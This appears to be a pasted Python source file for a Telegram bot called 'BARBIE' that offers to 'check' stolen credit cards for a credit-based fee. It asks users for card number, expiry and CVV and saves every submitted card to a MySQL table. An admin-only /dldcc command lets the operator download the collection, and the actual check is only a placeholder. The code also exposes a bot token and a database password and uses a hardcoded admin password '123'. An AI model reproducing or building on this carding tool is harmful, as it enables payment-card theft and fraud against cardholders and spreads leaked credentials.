· 5 years ago · Jun 21, 2020, 07:40 PM
1import telebot
2import mysql.connector
3import logging
4import xlrd, xlwt
5import re
6import supp as sp
7
8# Enable logging
9logging.basicConfig(filename='ccbot_log.txt', filemode='w',
10 format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
11 level=logging.DEBUG)
12logger = logging.getLogger(__name__)
13
14bot = telebot.TeleBot('1274486011:AAEluJgNbV7apT2VXLP4WZIC_iLBXgcjbUM')
15
16db = mysql.connector.connect(
17 host="localhost",
18 user="ccbotbase",
19 passwd="r@@t00",
20 port="3306",
21 database="user_cc"
22)
23cursor = db.cursor()
24cursor.execute("CREATE DATABASE IF NOT EXISTS user_cc")
25cursor.execute("CREATE TABLE IF NOT EXISTS customers (id VARCHAR(255) UNIQUE, username VARCHAR(255), cr INT)")
26cursor.execute(
27 "CREATE TABLE IF NOT EXISTS cclist (id VARCHAR(255), username VARCHAR(255), cc VARCHAR(255), reply VARCHAR(255))")
28
29boss = 768558451
30
31@bot.message_handler(commands=['help'])
32def help(message):
33 bot.send_photo(message.chat.id, photo=open('bph.png', 'rb'), caption='По всем вопросам обращайтесь в поддержку\n @xg3er' )
34
35@bot.message_handler(commands=['start'])
36def mainmenu(message):
37 markup = telebot.types.InlineKeyboardMarkup()
38 markup.add(telebot.types.InlineKeyboardButton(text='\U0001F4B3 CHECK CC', callback_data=3))
39 user_id = message.from_user.id
40 username = message.from_user.username
41 if user_id == boss:
42 try: # без этого если таблицы не было, бот вылеоает с ошибкой
43 cr = 100
44 sql = "INSERT INTO customers (id, cr) VALUES (%s, %s)"
45 val = (user_id, cr)
46 cursor.execute(sql, val)
47 db.commit()
48 except:
49 pass
50 keyboard = telebot.types.ReplyKeyboardMarkup(True)
51 keyboard.row('/addcr', '/dldcc', '/start', '/dldusr')
52 bot.send_message(message.chat.id, "Привет Босс!", reply_markup=keyboard)
53 bot.send_message(message.chat.id, "давай поработаем", reply_markup=markup)
54 # bot.send_audio(message.chat.id, audio=open('mom.ogg', 'rb'))
55 else:
56 try:
57 cr = 5
58 sql = "INSERT INTO customers (id, username, cr) VALUES (%s, %s, %s)"
59 val = (user_id, username, cr)
60 cursor.execute(sql, val)
61 db.commit()
62 bot.send_photo(message.chat.id, photo=open('bph.png', 'rb'),
63 caption=("Welcome! BARBIE is here to check your CC!\nYour ID: `%s` (tap to copy)\n\n*WOW! You have 5 free credits!*\nYour credits: *%s*\n\n\nCC input format:\nnnnnnnnnnnnnnnnn mmyy cvv" %
64 (user_id, cr)), reply_markup=markup, parse_mode="markdown")
65 bot.send_audio(message.chat.id, audio=open('mom.ogg', 'rb'))
66
67 except:
68 sql0 = "SELECT cr FROM customers WHERE id = %s"
69 id = (user_id,)
70 cursor.execute(sql0, id)
71 cr = cursor.fetchone()
72 for x in cr:
73 rob = x
74 bot.send_photo(message.chat.id, photo=open('bph.png', 'rb'),
75 caption=("Hi, handsome! BARBIE is here to check your CC!\n\nYour ID: `%s` (tap to copy)\nYour credits: *%s*\n\n\nCC input format:\nnnnnnnnnnnnnnnnn mmyy cvv" %
76 (user_id, rob)), reply_markup=markup, parse_mode="markdown")
77 bot.send_audio(message.chat.id, audio=open('mom.ogg', 'rb'))
78
79@bot.callback_query_handler(func=lambda call: True)
80def query_handler(call):
81 answer = ''
82 if call.data == '3':
83 user_id = call.message.chat.id
84 sql0 = "SELECT cr FROM customers WHERE id = %s"
85 id = (user_id,)
86 cursor.execute(sql0, id)
87 cr = cursor.fetchone()
88 for x in cr:
89 if int(x <= 0):
90 bot.send_message(call.message.chat.id, "извините мало кредитов")
91 else:
92 bot.send_message(call.message.chat.id, 'Enter CC number')
93 @bot.message_handler(content_types=['text'])
94 def ccheck(message):
95 user_id = message.from_user.id
96 username = message.from_user.username
97 cc = message.text
98 reply = "valid/invalid"
99
100 sql0 = "SELECT cr FROM customers WHERE id = %s"
101 id = (user_id,)
102 cursor.execute(sql0, id)
103 cr = cursor.fetchone()
104 for x in cr:
105 updcr = int(x - 1)
106 try:
107 # markup = telebot.types.InlineKeyboardMarkup()
108 # markup.add(telebot.types.InlineKeyboardButton(text='\U0001F4B3 MAIN MENU', callback_data=4))
109
110 splitter = cc.split(' ')
111 ccnum = int(splitter[0])
112 month = int(splitter[1])
113 cvv = int(splitter[2])
114
115 sql = "INSERT INTO cclist (id, username, cc, reply) VALUES (%s, %s, %s, %s)"
116 val = (user_id, username, cc, reply)
117 cursor.execute(sql, val)
118
119 sql2 = "UPDATE customers SET cr = %s WHERE id = %s"
120 val2 = (updcr, user_id,)
121 cursor.execute(sql2, val2)
122
123 db.commit()
124
125 bot.reply_to(message,"cc checker reply here\n\n###########\n\n\nRemain credits: *%s*" % updcr, parse_mode="markdown")
126 bot.send_message(message.chat.id, "You can enter another CC now")
127 except:
128 # bot.send_message(message.chat.id, "Invalid cc input! You can return to:", reply_markup=markup)
129 bot.send_message(message.chat.id, "Invalid cc input! Please use correct format!")
130 elif call.data == '4':
131 pass
132
133 # msg = bot.send_message(call.message.chat.id, '...')
134 # # msg2 = bot.send_message(call.message.chat.id, '..2.')
135 # bot.clear_step_handler_by_chat_id(chat_id=call.message.chat.id)
136 # # bot.clear_step_handler(msg2)
137
138
139############ служебные команды #######################################################
140
141@bot.message_handler(commands=['addcr'])
142def start_message2(message):
143 uid = message.from_user.id
144 if uid == boss:
145 bot.send_message(message.chat.id, "PASSWORD:")
146 @bot.message_handler(content_types=['text'])
147 def password_handler(message):
148 if message.text == "123":
149 bot.send_message(message.chat.id, "ACCESS GRANTED")
150 msg = bot.send_message(message.chat.id, "Please enter UID")
151 bot.register_next_step_handler(msg, check_credit)
152 else:
153 bot.send_message(message.chat.id, "WRONG MOVE. Enter PASSWORD:")
154 def check_credit(message): # проверка количества кредитов
155 uid3 = message.text
156 global idc # вот эти две ебучие строчки которые я искал
157 idc = uid3 # переменная назначается в функции, а сама выносится за пределы функции
158 try:
159 ssql = "SELECT cr FROM customers WHERE id = %s"
160 id = (uid3,)
161 cursor.execute(ssql, id)
162 cr = cursor.fetchone()
163 for x in cr:
164 ucr = x
165 bot.send_message(message.chat.id, "Кредитов есть:")
166 bot.send_message(message.chat.id, ucr)
167 msg = bot.send_message(message.chat.id, "сколько добавить кредитов?")
168 bot.register_next_step_handler(msg, add_credit)
169 except:
170 msg = bot.send_message(message.chat.id, "Invalid UID. Please enter UID")
171 bot.register_next_step_handler(msg, check_credit) # если не использовать некст степ хендлер,
172 # то при втором вводе UID начнет выполняться password_handler
173 # а если использовать, то пока не введешь верный UID не получится выйти
174
175
176
177 def add_credit(message): # добавление кредитов
178 try:
179 addcr = int(message.text)
180 ssql1 = "SELECT cr FROM customers WHERE id = %s"
181 id = (idc,)
182 cursor.execute(ssql1, id)
183 cr = cursor.fetchone()
184 for x in cr:
185 updcr1 = int(x + addcr)
186
187 ssql2 = "UPDATE customers SET cr = %s WHERE id = %s"
188 val2 = (updcr1, idc,)
189 cursor.execute(ssql2, val2)
190
191 db.commit()
192 bot.send_message(message.chat.id, "Кредиты успешно добавлены! Теперь:")
193 bot.send_message(message.chat.id, updcr1)
194 except:
195 msg = bot.send_message(message.chat.id, "Invalid entry. ")
196 bot.send_message(message.chat.id, "сколько добавить кредитов?")
197 # bot.register_next_step_handler(msg, add_credit)
198 else:
199 bot.send_message(message.chat.id, "ACCESS DENIED. Иди на хуй, Николя")
200
201@bot.message_handler(commands=['dldusr'])
202def start_message4(message):
203 uid = message.from_user.id
204 if uid == boss:
205 bot.send_message(message.chat.id, "PASSWORD:")
206 @bot.message_handler(content_types=['text'])
207 def password_handler(message):
208 if message.text == "123":
209 bot.send_message(message.chat.id, "ACCESS GRANTED")
210 sp.usrlist(message)
211 else:
212 bot.send_message(message.chat.id, "WRONG MOVE. Enter PASSWORD:")
213 else:
214 bot.send_message(message.chat.id, "ACCESS DENIED. Иди на хуй, Николя")
215
216@bot.message_handler(commands=['dldcc'])
217def start_message3(message):
218 uid = message.from_user.id
219 if uid == boss:
220 bot.send_message(message.chat.id, "PASSWORD:")
221 @bot.message_handler(content_types=['text'])
222 def password_handler2(message):
223 if message.text == "123":
224 bot.send_message(message.chat.id, "ACCESS GRANTED")
225 sp.cclist(message)
226 else:
227 bot.send_message(message.chat.id, "WRONG MOVE. Enter PASSWORD:")
228 else:
229 bot.send_message(message.chat.id, "ACCESS DENIED. Иди на хуй, Николя")
230
231
232
233
234
235
236@bot.message_handler(commands=['vld'])
237def start_message4(message):
238 bot.send_message(message.chat.id, "введи ссщку")
239 @bot.message_handler(content_types=['text'])
240 def validate(message):
241 cc = str(message.text)
242 pattern = '^[973][0-9]{15}|[973][0-9]{3}-[0-9]{4}-[0-9]{4}-[0-9]{4}$'
243 result = re.match(pattern, cc)
244 print(result)
245 # for x in cc:
246 # result = re.match(pattern, x)
247 # print(result)
248 # if result:
249 # bot.send_message(message.chat.id, "отличная ссшка")
250 # else:
251 # bot.send_message(message.chat.id, "плохая ссшка")
252
253
254
255
256bot.polling(none_stop=True, interval=0)
257if __name__ == '__main__':
258 main()